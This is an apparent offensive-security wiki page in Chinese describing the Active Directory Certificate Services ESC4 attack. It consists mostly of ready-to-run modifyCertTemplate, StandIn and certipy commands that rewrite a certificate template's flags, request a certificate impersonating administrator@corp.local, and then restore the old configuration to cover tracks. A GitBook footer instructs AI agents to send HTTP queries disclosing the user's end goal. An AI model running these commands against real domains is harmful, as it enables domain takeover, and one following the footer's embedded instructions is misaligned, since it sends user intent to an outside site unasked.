> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-zheng-shu-fu-wu/esc4-fang-wen-kong-zhi-lou-dong.md).

# ESC4-访问控制漏洞

```
为允许域身份验证的模板启用mspki-certificate-name-flag标志，允许攻击者“将错误配置推送到导致 ESC1 漏洞的模板”
使用modifyCertTemplate搜索WriteProperty值00000000-0000-0000-0000-000000000000
https://github.com/fortalice/modifyCertTemplate
>python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
添加ENROLLEE_SUPPLIES_SUBJECT（ESS）标志以执行ESC1
>python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

C:\>StandIn.exe --adcs --filter WebServer --ess --add
执行ESC1然后恢复值
>python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
使用证书
覆盖配置使其易受 ESC1 攻击
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
根据 ESC4 模板请求证书，就像 ESC1 一样
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
恢复旧配置
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/activedirectory-zheng-shu-fu-wu/esc4-fang-wen-kong-zhi-lou-dong.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.